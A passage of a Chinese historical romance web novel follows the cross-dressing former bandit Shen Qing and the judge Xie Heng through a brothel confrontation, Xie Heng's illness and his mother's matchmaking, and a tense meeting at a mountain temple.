“欸欸!沈青——” 外间廊上,穿过处处衣香鬓影,沈青循声,直接掀开一间包间的纱幔,坐了进去。 包间里头是两个锦衣男子正在喝酒,各有温香暖玉抱在怀中,见忽有人闯进来,几个俱是一惊。 “你什么人?” 沈青浑然不听,大咧咧在他们中间坐下。 “你们刚才说什么?” 她模样实在俊俏无害,侧头问话的时候,醉意朦胧的脸上懵懂天真,一派认真求知的态度,包间中两个锦衣公子放下戒备,继续谈论起来。 “也真是不知道那沈青怎么想的,他家夫人红杏出墙就算了,还被那么多男人看光了身子,他居然也不嫌脏!” 沈青左右各看了一眼:“你们可有家室?” 虽然她这问题问得跳脱,但最终还是有一人答了她:“那自然是成家了的。” 话音刚落,就见这俊俏小公子眉眼五官皱成一团,很是嫌弃的样子:“要是被男人看一眼身子就脏了的话,你们这些用自己身子天天跟不同女人睡觉的人,怎么你们夫人不嫌你们脏?” “不是,你谁啊?怎么说话的呢?” 两个锦衣公子听她这语出惊人,愤而拍案质问。 “我是沈青啊。” 沈青抬起一双澄澈的眸子,答得老老实实,诚恳而有礼。 “你……” 两位锦衣公子在一阵短暂地面面相觑后,重新打量身边这看起来斯文又秀气的小公子,传闻沈青就是一副男生女相的阴柔长相,莫非还真是他? 这长相总给人一种轻易可欺的错觉。 果然,这两人也没什么忌惮,自觉占理便理直气壮:“但我们在自己包间说话,应该不碍着你什么事吧?” 沈青很是坦诚:“可你们说的话我不爱听。” 这可就得寸进尺了啊。 那两位公子身份气度一看就是高门大户里的纨绔子弟,哪能在一个被招安了的小土匪这里受气,其中一个口头绝不相让:“我说沈公子,你有这个闲心管别人议论,怎么不回家好好管教一下夫人,少出来勾搭男人?” 沈青面无表情,一手掀翻了面前沉沉梨木打造的案几,案几上酒樽果盘滚在地上狼藉一片。 包间内两名烟花女子吓得惊呼一声,忙识趣地起身退了出去。 包间外的人声和丝竹也瞬间安静下来。 “沈青!你想闹事吗?” “哼,沈公子,没记错的话,上次你在御前应该被陈郡侯府告得罚了一个月俸禄吧?再 闹到御前,我们可不怕你!” 沈青没有细听这两人对她怒吼吼喊了些什么,她手心扣了只琉璃酒杯,正纠结仅有的这只酒杯,该往谁头上砸。 “沈青,你最好给我……” 左边那个先开口,她不再纠结,抬手就将那尊晶莹剔透的琉璃杯往他头上扣去,不过在离他脑袋还有寸许的时候,她手腕被人抓住,生生将她拽了回来。 “不好意思啊,我们这喝多了,误会误会,二位后面一个月的酒钱我都包了!” 王容连拖带拽还一边哄着将人往回带:“我说我的小姑……公子啊,你再这样,小心下次娟娘再也不让你进南风楼的大门了,赶紧回去,苏子珩还在等你听他弹新曲子呢。” 那两公子一看是王容出面,再愤懑也得给面子,便也只好息事宁人,只有一个不满地小声嘟囔:“自己夫人看不住,倒是会向别人撒气。” 沈青半醉的时候还算好哄,本来被王容哄着推着正往回走,这一句话落到耳畔,整个人噌地一下就回头要往那两人冲去。 好在王容眼疾手快,一把拽住:“算了算了,再闹大小心全洛京的官员都来参你一本,到时候看你怎么办!” “放开我!我要去砸死那些乱嚼舌根的!” 沈青不管不顾,醉意里像个受了委屈的小孩气呼呼耍起无赖。 王容自知生拉硬拽肯定是拦不住沈青,只好张开双臂将人圈抱在怀里,一个熊抱将人抱住,一边拍着她的背继续哄小孩一般:“没事没事,今天先回去睡一觉,睡醒了我们再来砸。” 沈青被他囫囵熊抱着,一身不好施展,歪头听着,嗯,有道理。 “那先睡觉。”她当机立断,身子软绵下来。 王容松了口气,一手扶着她,一边不动声色示意纷纷过来看热闹的人赶紧退开。 总算是将人带回包间,沈青的身子一沾上软榻就开始入睡,只不过合目睡得并不安稳,纤长睫毛密密覆下,像蝴蝶落在花瓣上,总微微轻颤着。 王容凝眸多看了一瞬,忽而轻笑:“没想到,其实谢珩给你带来的刺激还不小。” 他的这一声议论,自然传不到谢珩耳中给他听见。 谢府书房的明灯,已经连续好几个彻夜未曾熄过,春夜湿雨寒凉,本该挑灯点香夜看卷宗。 鸣山抱着一摞卷宗无声走到门口,短短几日光景,他眼下乌青深了许多,干净的面容上乍一看潦草了许多,像是出远门执行了一趟外务。 他揉揉眼,看到自家公子坐在案前,灯光掩映下依旧清越矜贵,一手执着卷宗细阅,大有一目十行之势,清隽眉眼间始终从容不倦。 他深吸口气让自己提提神,才迈进门槛:“公子,关于岳闻渊所有能找到的卷宗都在这里,为了掩人耳目,不能带回来的我们都暗中誊抄过来,再无遗漏。” 谢珩视线未抬,只应了声:“知道了。” 鸣山看了眼窗外夜黑如墨,又是二更天了。 他踟蹰了一下,到底还是问出来:“公子,二爷这么坚决不许你再查此案……若是被二爷发觉……” “若是被发觉,唯你们是问。” 谢珩不等他说完,似乎在卷宗上发现了什么重要的线索,抬手取笔,落笔批注。 桌边一盏灯台火光正旺,浸在灯油里的灯芯燃得发出细碎的噼啪声,一夜的时光在灯火明明中不断流逝。 谢珩手中笔尖未停,落在卷宗上的笔笔画画像是追逐灯火下流逝的光阴。 他知道,他与沈青之间那道被霍然划开的天堑,只有将此案彻底结了,被划开的天堑才有慢慢再次合拢的希望。 于是光阴似金。 房中一主一仆,一个奋笔疾书,一个整理卷宗,无声而默契地推动着案件的进程。 到了下半夜的时候,谢珩手中笔尖明显凝滞了很多,很多次,他笔尖在卷宗上停顿了很久,才能下得去一笔。 他一路循着蛛丝马迹,抽丝剥茧,从一马平川走到丘陵起伏,再一路走到现在,面向的是一片险峰峻岭,迷障重重,万丈深渊。 他时时勒马急停,好几次不知该如何走下去,走下去所见到的真相,真是他所能承受的吗? 越来越多的扑朔迷离让他心惊肉跳,他隐隐能够明白,为什么二叔会对一桩并不算多重要的贪污旧案如此上心,虽然他还完全看不见背后是什么,但他能确定,这背后真相有多石破天惊,甚至是会引起朝局发生重大动荡的牵扯。 有一瞬间,他心里竟真的有个声音声嘶力竭大喊,让他不要再继续查下去了。 也许没有人能够去承受这样的真相。 第50章 第50章你到底有什么资格管我?…… 卷宗上,密密麻麻的字眼像是铺天盖地而来的潮水,人将要被淹没窒息的时候,本能地会想要找一个出口,还没有意识到自己在想什么,话已经问出口了。 “沈青最近还算安分守己吗?” 鸣山抬起朦朦倦眼,确定公子问的是这几天连提都没提过一句的沈青,一肚子牢骚终于可以说出:“他啊,怎么可能安分守己,咱们在这里废寝忘食查他夫人家的案子,他倒好,天天在南风楼寻花问柳不知道多快活,前两天有人在背后议论他夫人,他还跟人起了好一阵冲突呢。” 谢珩眉眼微垂:“知道了。” 鸣山的一腔愤懑止歇不住:“要我说,这案子也不用查了,替这种人查案,真不值当。” 等他话音落下的时候,谢珩手中笔尖顿了很久,墨水从笔尖凝聚滴落,在卷宗上晕染出一朵小花。 “鸣山,”他平静地纠正鸣山的态度:“彻查此案,是我身为大理寺卿的本职,绝不为虎作伥,而使有冤情不发。” “是,属下方才妄言了。” 鸣山也意识到自己每每一提到沈青,就不由自主地偏激,而折辱了公子的一片赤诚清正。 寥寥几句的对话很快结束,两人继续在这漫漫长夜中挑灯伏案。 直到东窗转明,谢珩才再次从面前堆积如山的卷宗里抬起头来。 鸣山早就抱着一沓卷宗在书房里的矮榻上睡去,谢珩没有喊醒他,绕过矮榻,他独自出了书房。 春雨无声浸润一夜,院中草木越发葳蕤,空气里满是清鲜湿意,缓解了一夜伏案的疲倦。 他缓步出了院门,细卵石铺就的路面曲径通幽,夹道两侧簇簇冒出了不少新栽下花木的绿芽,饱尝着整个二月的雨水,蓬蓬生长。 府中砖木花石,处处精致雅趣,只是府中清净,一路只有清晨的绿荫中传出过几声鸟鸣,淡雅得有一些过于寡淡了。 “公子,您要出门?” 他好像很少在自己府上闲逛过,没有意识到从自己院中沿着这条细卵石路,会走到府中的某一扇偏门,门童揉揉眼,忙站起身来。 “我去给您套车。” “不必了,我自己走走。” “这……” 在门童的一阵踟蹰中,他迈步走出谢府的大门。 虽然搬离谢家主宅,但谢珩这间别府依然坐落于洛京城最繁华的地段,皇城之南,东西两市之间。 走进主街,氛围绝然与府中不同。天色还尚早,东西两市主街上却早就人声鼎沸,车马如流。 谢珩一身白衣清贵,玉树仙姿,独自款步于车流人群中,如玉山峨峨,容光照人。 所行之处,言者忘其声,行者忘其步。 他漫无目的信步而行,并不在意各种汇聚于自己身上的目光,脑中还在不断复盘卷宗上的种种细节,等他脚步突然停顿下来时,为时已晚。 莺歌燕舞,通宵达旦,一整夜过去,于晨曦之中的南风楼依旧潋滟不减,彩旗招摇,延续的昨晚的风流余韵。 原来南风楼离他的府院这样近? 昨夜鸣山已经说过,沈青这几日都在南风楼寻欢作乐,他其实没有多问下去,所谓寻欢作乐,包括夜不归宿吗? 不知出于什么心理,在一片惊异目光中,他一步一步登上台阶。 白衣胜雪的公子缓步穿行于莺燕迷离中,这座纸醉金迷的销金窟被衬托得格外艳俗,厅外丝竹人声彻底沉寂下来,连娟娘都只敢远远摇着团扇,小心翼翼不敢上前多问一句。 于是,还不明所以的包间里,传出来的声音就会清晰可辨。 谢珩轻而易举走到一间琴音和笑声混杂的包间前,他立在纱幔外,一只手搭在帷幔上,在掀开纱幔 的那一瞬间,忽然顿住。 很久没有听到他笑得这么爽朗清脆了。 里面笑声一阵一阵,足见他这几日实在过得痛快,谢珩低下头,不由得觉得好笑,现在自己这是在干什么? 他将搭在帷幔上的手缓缓放下,慢慢退了两步,终于转身。 “阿珩,你真让人舒服!” 里面软软款款一声醉意呢喃,原本已经往回走出好几步的谢珩猛然顿住脚步,耳中一片嗡嗡,再没有半分犹豫,直接回身过去一把掀开纱幔。 入目所见,一瞬间他只觉得气血上涌,眼前有一阵天旋地转的发黑,他抬手扶了门框,再将将重新稳住身子。 沈青正翘着二郎腿躺在榻上,包间里有好几个俊俏公子,分别坐在她面前弹琴鼓乐,而苏子珩,也是一身白衣胜雪,靠坐在沈青的枕边,那双抚琴的手,正轻轻替沈青按揉额头两侧的太阳穴。 沈青舒服得心满意足,一高兴,就在手边捏了颗紫玉葡萄喂进苏子珩口中。 “我们阿珩真乖。” “沈青。” 谢珩深吸口气,喊出这个名字的时候,语气中透着阵阵虚弱。 房中丝竹管弦戛然而止,苏子珩忙变了脸色,站起身来,与几个清俊公子一起,进也不是,退也不是,无比窘迫地瑟缩在一旁站着。 只有在另一张榻上还呼呼大睡的王容还浑然不觉。 谢珩环视包间,从案几到榻间的各处陈设细节可以看出,昨晚这里只有一夜的喝酒听琴,五脏六腑里翻涌的气血稍稍平缓下来。 突如其来的变故让沈青懵懵懂懂坐起身来,还不算烂醉如泥的她认出来人,顿时拉下一张脸,但又无比稀奇:“你怎么来了?” 她声音带着醉后的软绵,一双原本清凌明亮的眸子,因为一夜未眠,氤氲着水色微红,别有一种将醒未醒的朦胧旖旎。 谢珩一颗稍微平复下来的一点心绪瞬间被再次掀翻。 酒量不好是沈青最显而易见的软肋,从那日她被掳到谢家主宅的时候他就意识到,他可以每次利用这个软肋,在杳无人知处做一些卑劣的试探,那旁人也可以轻而易举将这个软肋利用起来。 他冷峻的面容如冰山迸裂,沉步径直走到榻前,一把拽着她的手腕将人捞起,迫使她面向自己:“你知道你每次喝酒后是什么样子吗?” 在这样雷霆万钧之势下,沈青身子一空,然后就被人钳住双手,那张冷若冰霜的俊颜就抵在自己眼前鼻尖,她呼吸一滞,心口像是被什么狠狠冲击一下,愣愣地好一会儿才反应过来。 “谢珩,我这人的确酒品不好,这关你什么事呢?” 她沉着脸,一双眸子里也迸发出怒意,手上几番反制的动作,并不算多艰难挣脱开他的钳制。 “你到底有什么资格管我?” 谢珩立在榻前,周身的锐意被这句话生生打散,不再有任何动作。 他有什么资格? 他什么资格也没有。 可是,那就不管了吗? “沈青……” 他放缓了声音,喊了她的名字,却不知接下来该说什么。 一大早好好的酒兴被破坏,沈青只觉得烦闷无比,恨不得这人赶紧消失,反正她酒品不好,于是一把拉过小心翼翼垂首站远了的苏子珩,撑开手臂将人半揽在怀中:“当初是看你好看,才一时兴起把你掳上山的,看久了我早就对你没新鲜感了。现在我就喜欢阿珩这样的,永远会乖乖听我的话!” “你,你说什么?” 谢珩的声音像是飘在空中。 同样的话,借着酒劲可以脱口而出,可是第二遍却怎么也说不出来。 尤其是,沈青从来没有在那双盛满星河的眸子里,看到过那样深重的沉痛,像是天上星河倒映在人间江河中,风一吹,零落碎散。 她所认识的谢珩,永远都是那副疏淡平静让人捕捉不到情绪的模样,所以他眸中那样的沉重,也种种压在她心口,让人蓦地喘不过气来。 “我刚刚说的还不够明白吗?”再开口,她也泄气了许多。 “明白。” 这次谢珩答得很干脆,走得也很干脆,没有再多任何的纠缠,连眼神都不再有过交汇,等沈青回过神,隔着纱幔,渐行渐远的那道背影格外绝然。 她颓然地重新靠在榻上,好一会儿,才闷闷挥手道:“你们先下去吧。” 王容不知道什么时候坐了起来,睡眼惺忪地望着空空如也的包间:“怎么了?发生什么事了?” 沈青叹了口气,端起案几上满满一杯酒,咕咚一饮而尽。 “没什么,喝多了。” * 谢珩根本不知道自己是怎么走出南风楼的。 直到看见街道上有行人三三两两撑伞而过,看到马车的车轮辘辘淌过积水的水洼,他感受到自己一颗心还在跳动,还能呼吸到周遭湿润潮湿的空气。 他在路上走得极缓,极缓。 整个身体好像不受自己控制,如果脚下步伐快一些,他的四肢百骸会要散架。 入目忽见,不远处街道一张石砌的月洞门,那是当日他跟沈青一起喝酒的小院。 脑海中只要一闪过关于沈青的一丝念头,他就压抑不住自己一颗几乎要发疯的心,恨不得将自己一颗心深深挖出来撕个粉碎才能解恨。 从莽山回来到如今,他到底在做些什么? 是的,事到如今,他也不得不承认,关于自己对沈青究竟是何态度,他一直都在逃避,不想审视自己,所以放任自己。 他心里有一只鬼魅,偶尔放任,但他始终觉得自己还是绝对的主人。 沈青是什么样的人? 是盘踞莽山,匪窝里摸爬滚打数十年的三教九流之徒; 是明明有正妻,还能强掳清白公子为妾的泼皮无赖; 是一天到晚只知流连于秦楼楚馆寻欢作乐的浪荡子。 他自幼苦读圣贤书,恪守礼节,兢兢业业,绝不会有半分逾矩之处,竟然会因为一个如此荒唐低劣的人,险些失了分寸。 荒谬。 简直荒谬。 从南风楼到谢府,明明很短的一段距离,谢珩不知走了多久,天空中始终只是细雨缠绵,可是等他回到府中,那细雨绵绵竟然将他鬓发衣襟都打得湿透。 清清俊俊的面容上泠然冷静。 一阵料峭冷意中,他从未有过像此刻这般清醒。 无论这些日子来他心底究竟蔓延了怎样荒唐的情绪,都该在此刻彻彻底底结束。 他绝不会让这种荒唐有任何延续的可能。 他和沈青之间,最好的关系就是没有关系。 50-60 第51章 第51章不必怀疑自己是断袖…… 谢珩回府便病倒了。 在病榻上昏天暗地倒了几天,身子稍稍能下榻,他就起身按时点卯上值去了,夜里从大理寺回来,房中也是一盏孤灯,案前一道清影,就着檐下点滴雨声,再抬眼就是窗边的点点明亮。 他寂寂望着窗檐下雨丝如线,一双眸子晦暗得没有什么神采,整个人像一只牵线木偶般坐得僵直,直到窗外有风裹挟着雨意吹入,几日下来单薄了许多的身形受不住,躬腰剧烈咳嗽起来。 几乎要把五脏六腑都掏出来才能解脱,许久之后,等咳声渐渐止息,他额上竟然都浸出一层细细薄汗,整个身子半靠在椅间,虚虚喘息。 案上燃了一夜的明灯终于燃尽,因着屋外天色阴暗,屋中也是一片晦暗,一身清瘦孤影,不动如山,借着窗外昏光,隐约可辨。 书房的门被无声推开,昏寂的房中视线明朗了一些,谢珩神色微 动,院中有人进来,他竟毫无察觉。 “母亲,”看清来人,他重新支起身子,一时间居然无力站起身来相迎:“您怎么来了?” 谢夫人清疏的眉眼间愁眉不展:“我再不来,怕你要生生将自己熬死在这书房里。” 谢珩抿了抿唇:“我不困。” “那总该吃些东西吧?” “我也不饿。” 谢夫人重新将案上灯台点亮,温润可亲的灯光照亮案前那张苍白清隽的面容,仅仅几日的光景,明明丰神俊朗的一个人,就这样毫无血色地枯竭下去。 “吟星,来服侍公子喝汤。”她声音亦款款温柔,却不容置疑。 谢珩听母亲唤这名字陌生,这才发觉,母亲身后带了两个在府上似乎从未见过的丫鬟,容貌身段,实在出挑。 那名被唤作吟星的丫鬟捧了食盒上前,眉眼盈盈望他:“这是夫人今早在小厨房亲自炖的枇杷羊乳汤,公子趁热尝尝吧。” 说着十指纤纤揭了食盒,捧出玉盏,一阵佳肴清香扑鼻而来。 见她向自己捧上玉盏,谢珩及时喊停了她的动作:“你先放一旁。” 被公子出声婉拒,吟星微微抿唇,露出一点我见犹怜的神态,为难地看向谢夫人。 谢夫人不动声色示意她暂时放下玉盏,才继续跟谢珩说起:“既然你整日要闷在书房,我自是劝不动你。不过春日寒凉,以后便让闲月在书房里贴身伺候着你,好让我能放心一些。” 另一个被唤作闲月的姑娘果然怀中捧了绸被玉枕,上前落落行了一礼:“那我替公子将书房中矮榻打点布置好,方便公子时时安歇。” 谢珩这下明了母亲此番前来的用意,他微微叹了口气:“母亲,这些事情鸣山都可以做,我向来喜欢清净,院中不必多添人手了。” 谢夫人不由得温声反问他:“鸣山自己也不过是一个半大的小子,要是能细致照顾好你,你何至于生了这样大病?再说,我看鸣山时时有公干在身,他哪有这样的分身乏术面面俱到?” 谢珩无奈:“母亲,我身边不止鸣山,院中还有可使唤的小厮。” 谢夫人让闲月和吟星先退了出去,自己才在案前另一张椅上坐下,与谢珩保持一个相对而坐的状态。 “这些日子虽说你是为了公干而劳心劳力,但我也知你是为了什么自苦至此。外面哪些是风言风语,哪些是事实,我自然有判断。” “母亲……” 谢珩没想到自己心中最隐秘最不可触碰的一角就这样被猝然掀开,他一时只觉无处遁形,嗫嚅着双唇:“我……我真的不知道……” 自开蒙习字后,他绝少母亲面前流露过半点脆弱,这一瞬间他一张病容更是白得骇人,浑然与儿时做错事后不知所措的模样无二致。 谢夫人语气倒是平缓:“你性子随我,倒是个清净寡淡的,这些年来你又极为守礼端正,我也不必为你操心什么,只是这样,我也对你生活起居太过疏忽。你想想,像我们这样人家里的公子,在你这个年纪,谁房里没有收几个伺候的人呢?” “母亲,”听她又提到这一茬,谢珩还是本能抗拒:“我并未婚娶,就先在房中收了姑娘,这于礼不合。” 谢夫人不由得叹息,本想问他循的是哪一方的礼,最终还是迂回了态度:“我也并不是让你马上将人收了,只是先放你房中伺候着,给你添添茶,研研墨,你也好习惯与女子的相处说话。” “你自小就沉静少言,与家中姐妹也不亲近,到了年纪房里也没个晓事的。那日我在谢府主宅与沈青有过一面之缘,反而觉得,你倒不用为此自苦。那人生了一副阴柔相貌,你不过还是迷惑在那副男生女相上面,所以我才将吟星闲月放到你房中。日子久了,你的注意力也就回到真正的女子身上了。” 谢夫人说得并不隐晦,但算是给儿子吃下一颗定心丸,几乎就是直接断定,不必怀疑自己是断袖,不过是沈青阴柔,少与女子接触的他一时没迷惑罢了。 谢珩无言垂眸,母亲很少推心置腹跟他说这么多话,心事被母亲骤然说破,还让她为自己操心劳神,他心中更是一片坍塌,无力支撑。 况且母亲说的……似乎有理? 时隔几日,再从母亲口中听到“沈青”二字,一种别样的陌生感在他心中密密麻麻扎下,他微蜷着指尖,静默良久:“好,暂且将她们留在书房伺候吧。” 谢夫人松了一口气,虽然只是在书房伺候,但至少说明他愿意尝试着突破,于是趁热打铁跟他说第二件事:“还有,等过几日天气好了,你大舅舅家的意然妹妹要去首岁山祈福。原本你从渝州平安归来,我也是要去还愿的,只是近来湿寒,我腿脚不便,你就代我陪你意然妹妹去一趟吧。” 谢珩一双清眸霍然微顿。 别说王家的姊妹,就算是谢家本家的姊妹,他都甚少有交流,他顿时明白过来,母亲大概是觉得已经不能再耽搁时间替他慢慢相看了,论门第品貌血脉亲疏,他未来的妻子,最应该出自王家。 能让母亲这样一个向来疏淡的人,焦灼得急出两招,他可真能耐。 谢珩在心中自嘲一笑,勉强回忆起王意然的模样,是个活泼爱笑的姑娘,他脑海中浮现一张明媚笑颜,可是那张脸不知为何忽然又变成另一个人的模样,那张脸也是冲着他笑:“我对你早就没新鲜感了。” “好,我代母亲去走一趟。” 这次他没有太多犹豫,痛快答应。 谢夫人始终微蹙的眉头终于舒展:“意然是个率性大方的性子,正好能缓和一些你的寡淡。” * 当沈青意识到大事不妙时,是她知道谢珩的别院,京中无数名医每天进进出出,按这外头的风言风语,是谢珩在南风楼被气得吐血,大受打击之下,已经病入膏肓,无力回天了。 这被气得吐血肯定是谣言,她都亲眼看到了,吐没吐血她能不知道吗? 可是他回府后的情况,一想到京中各路名医都登门谢府,她心里真的没底。 好在几日后,她亲眼看着谢府的马车出门,然后一路进了大理寺卿,她才放下一颗心。 岳瑛还在病中休养,几乎没有言语,她现在打死也不敢在岳瑛面前提起任何一个男人的名字,于是眼下能倾诉的,就只剩下王容了。 “你说我这次是不是真的过分了?” 南风楼里,王容还真是有点不适应包间里无人饮酒奏乐的严肃氛围,他有点为难:“你要不喊苏子珩来弹几曲吧,不然你这般正经态度,我都不知道该怎么跟你说话了。” 沈青双手抱臂在他面前坐得板正:“你不要顾左右而言他,也不要顾及我的面子,你就说句实话,我是不是过分了?” 王容无奈,盯着面前这张有些较真的面容,终究叹了口气:“是有点。” “只是有点?”沈青并没有觉得一口气松下来。 “诶,还是挺过分的。” 沈青也垂头叹气:“诶!” “我这表哥,他是何许人物啊?谢家未来的家主,有洛京第一公子的美称,从小就是众星捧月长大的,谢家王家的长辈们,就算当今圣上,谁敢跟他说重话?再说了,别说人小姑娘都喜欢他,就算是南风楼的小倌,都要模仿他几分风韵才更受青睐。” “诶,你也是,当着这么多人的面,说他还比不过一个小倌,你这不是当众将他所有的尊严都按在地上踩吗?” 虽然那天没有亲眼所见,但当日情景,已经不知多少人在他耳边复述过了,加上谢珩病重,竟然都惊动了王府这边的诸位长辈,他简直听得心惊肉跳。 这天下有人这样对待了谢珩后,还能如此安然无恙坐在他面前喝酒的,那估计只有沈青了。 他知道她是率性懵懂心直口快,这时候,不知为何,总觉得应该跟她说道明白。 果然,这几句话像几记重锤,砰砰几下将沈青敲得焉巴下来。 她脑海中再一次浮现出谢珩最后决然离开的模样,那双眸子是那样沉痛悲凉,那道背影实在是 太支离破碎。 多想一次都要做一次噩梦的程度。 王容侧眼看她,难得见她静默无言坐在一旁,眉眼微垂着,看得他心中蓦地一下生出许多恻隐来。 他摇了摇手中折扇,慢悠悠道:“我去谢府打听了一下,谢珩三天后要去首岁山祈福还愿。” “啊?”沈青不明所以看着他。 “春色如许,你想不想去首岁山踏青?” 王容望向她,发出恳切邀请。 沈青目光中有暗潮涌动,她一直觉得王容是自己的酒肉朋友,可是她无所适从的时刻,他总是能恰好铺垫,让她稳稳落下来。 不也是酒肉知己吗? 在谢珩这件事情上,本该一码归一码,因为岳瑛,她彻底明白了自己与他不是同路人,她的确是愤怒而失望的。 可是为了泄愤而当众这般羞辱他,那是自己没品了。 虽然各归各路,往后或许还有兵戎相见的那一天,她必须要坦荡而无负担,绝不能心中有所背负,尤其是不能背负半分愧意。 “我想去。” 她很痛快给出答案。 第52章 第52章佳偶天成 可惜天公并不作美,去首岁山祈福这日,依然细雨未绝,没有想象中的春和景明。 一辆马车行止于山脚,车帘掀开,先是王容,蓝衣玉扇,倜傥风流施施然下了马车,身后紧随着一道飒然青影也跃了下来。 沈青久违地撑开手中折扇摇了摇,抬眼望向前方一座笼罩在雨幕中浸润得青翠欲滴的山丘,不由得失望:“这就是首岁山?” 传闻中洛京城郊最高最雄伟的一座名山? 这比起重峦叠嶂连绵不绝的莽山群峰,可实在是有点没眼看了,也不知小金顶上冰雪有没有消融,是不是也开始层层冒出新的绿翠。 王容从容不迫跟她介绍:“这首岁山闻名之处,倒不是因其景貌,而是山顶的普恩寺,那可是圣上提笔赐字亲封的国寺宝殿,这寺里的香火,非王公贵族没资格供奉的,一年中只有上元、中元和下元三个节点允许寻常百姓上山进香。” “所以这里的菩萨很灵验?” “那是自然,寺里的主持不闻大师,最擅解签,上至国运,下至普通百姓碗中一粒米,从未有过失言,”说着王容嬉笑道:“看在我的面子上,让大师给你解一签。” 沈青不由得“啧啧”两声:“这地上的荣华富贵都归你们了,没想到天上灵验的菩萨也归你们,那就多谢王公子肯赏我这个面子。” 只是不痛不痒说了两句,见好就收,没有得了便宜继续卖乖下去。 走到山门,有谢家的亲兵和随从守卫,看来谢珩已经上山了,以谢王两家的关系,王容自然轻而易举地领着沈青进了山门。 不过他有点疑惑,又回头确认了一下:“奇怪,怎么我看到有几个眼熟的随从,是我们王家的?” 沈青看着通往山顶林荫小径空无一人,便道:“难道你们这山平日里除了不许百姓上山,就算是王公贵族也要避开彼此的出行吗?谢珩今日上山祈福,其他人就不能上来了?” “那倒还不至于……走吧。” 王谢两家都有祖宗香火供奉在普恩寺,估计是谢珩跟家中哪位堂哥正好约了今日同来祈福,也不足为怪,他没有多想,领着沈青便往山上去。 这首岁山,本来就低矮,从山底到山脚,一路都修了青砖石径,一些陡峭曲折的地方,还铺了平整的台阶,虽然置身于城郊山丘之中,但走在路上,恍惚若某个大户人家的宽阔后院里。 沈青几乎没怎么喘气,人就已经到了山顶。 视线穿过松柏交错的枝桠,她看到了坐落于此的普恩国寺,檐角飞扬,气势恢弘,静静伫立在烟雨中,庄重肃穆。 此时脚下低矮的首岁山,更像是这寺庙的一座底托,稳稳将这宝寺托住。 钟声杳杳,梵音阵阵,香火清清。 她向来不信鬼神,此时呼吸也微微顿住,不是因为这寺庙令人感觉压迫,而是在它面前不自觉就宁静平和。 两人都默契地没有出声,一同走向寺门的时候,连脚下步伐都似乎变得虔诚起来。 石阶下有一夜春雨后的些许落叶和几片不知名花瓣,大概因为下雨还没有僧人来得及打扫,倒是添了几分人间味。 “郁兰!” 一道女子的声音遥遥传来,她声音清润恬雅,在钟声梵音的清杳中,倒也还不算突兀。 沈青循声望过去,一张伞下有两道身影正向他们走来。 伞下的女子窈窕玲珑,隔得太远实在看不清容貌,随着她脚下步步生莲,轻红的裙摆也随之摇曳,娴雅中带着一点轻快,是个气质绝俗的女子。 而她身旁的的男子白衣胜雪,清隽修长,抬手将伞撑过两人头顶,脚下是不紧不慢的从容款步,却也能恰到好处始终跟身旁女子的步伐齐平。 他在抬眼望过来的一瞬,颀长的身形很明显有瞬间停顿,待那女子倩影都走出伞外,他才若无其事般重新撑伞跟上。 沈青也在原地愣住,浑身上下只剩嘴巴能动:“现在这是什么情况?” 身旁的王容也跟她一样仿佛被什么定了身:“失误了,我只去谢府打听了谢珩的行程,但王家没人跟我说她会来啊!” 毕竟王家上下这么多人,他哪里管得了别人今天谁要出门上香啊? 沈青紧紧皱起眉头:“不过你的表字怎么叫郁兰啊?好像一个女孩子名字。” 王容咬牙:“现在是说这个的时候吗?” 一言一句间,伞下两道身影已经走到近前。 这下沈青终于看清了谢珩的眉眼,玉容绝色依旧,只是隐隐还透着一点大病初愈后的支离憔悴,清瘦的身姿更有种沈郎多病不胜衣的虚弱。 她抿抿唇,忽然不知该怎么开场打一声招呼,谢珩目光似不经意扫来跟她对上,又瞬间错开,一张清冷玉容上看不出情绪。 那女子先开口出声:“没听说你今天也来普恩寺,郁兰,这是你朋友吗?” 她的声音可真好听,沈青的目光不自觉就这女子吸引了过去,眼神中诧然绽放出的惊艳难以掩饰。 直到今天,她终于明白,原来所谓肤若凝脂,眼似秋波,并不是那些文人墨客夸大其词的杜撰,明明五官容貌并不是倾城绝艳的出挑,这芳华颜色正如雨后一支凝露娇憨的牡丹,徐徐绽放,不可亵渎。 虽然她其实没有闻到,却总感觉这姑娘每一根头发丝都是带着馨香的。 她也是第一次发现,原来有女子站在谢珩身边,天然就是一双璧人。 眼前的情景有些出人意料,王容勉强稳住心神回应道:“意然姐姐啊……哈哈,这是我朋友沈……沈公子,我们也是随便来逛逛,没想到能碰上,哈哈。” 沈青和谢珩最近的各种传言在洛京甚嚣尘上,他不敢直接报出沈青的大名,应付过去后,又硬着头皮跟沈青引见:“这是我家中一位堂姐。” “原来是沈公子,有礼了。” 王意然向沈青微微屈身见礼,一双黑白分明的眸子里干净澄澈如石上清泉,举手投足间尽显大家闺秀的娴雅标志。 不是故作姿态的扭捏,而是一种与生俱来的富贵风流。 沈青实在看得心旷神怡,唇畔不自觉勾勒出笑意,跟着王容喊:“意然姐姐!” 这样唇红齿白的俊 俏小公子实在讨人欢喜,王意然笑意盈盈,当下就发出邀请:“刚才我与珩表哥已经祈过福上了香,现在要去拜访不闻大师,请他解签,那我们正好一起吧。” “不不不,我看不必了,”沈青还没说话,王容已经在一旁断然拒绝:“我和沈公子着才刚刚上山,还没去祈福上香的,就先不跟你们一起了。” 平时就算姑母亲自来上香,谢珩都未必会亲自来陪,这时候,这人拖着大病初愈的身体,有这闲情雅致陪着王意然来上香,他就算是个猪脑子也明白是怎么回事了。 天地良心,他今日带沈青过来,只是想让她解开心中芥蒂,绝不是想来给她添堵的。 于是他忙又拽着沈青的胳膊摇了摇:“我们先去正殿那边上香祈福吧。” 本来沈青对大师解签这事很感兴趣,毕竟原先在渝州,每当她困顿潦倒的时候,就会去路边找个瞎子算一卦,算自己什么时候能发财,每次算完她心里能痛快好久,然后不知不觉竟真的渡过难关了。 不过现在,也不知是不是她的错觉,总感觉谢珩一把伞手上撑着,有意无意压低了伞面,这样两人之间完全不必会有任何的视线交错。 既然人家如此不待见,她又何必非杵在一旁,省得大家都尴尬? 她便顺势应下王容,还彬彬有礼跟王意然挥手作别:“好,我们先去上香,意然姐姐,那我们就不奉陪了。” 话刚说完,王意然脸上闪过一丝小失望,王容已经迫不及待一手握紧沈青手腕,拉着人匆匆离开眼前这诡异无比的场面。 “等等。” 两人刚走出几步,一道清疏的声音穿过雨幕,将两人喊住:“不闻大师是清修之人,何必要去叨扰他两次?” 两人不由得都顿住步伐,沈青下意识回望过去,只看得到素净的伞面下半露出的分明下颌,出于习武之人的本能,她几乎能透过伞面,看到伞下有一双眼睛正在盯着她。 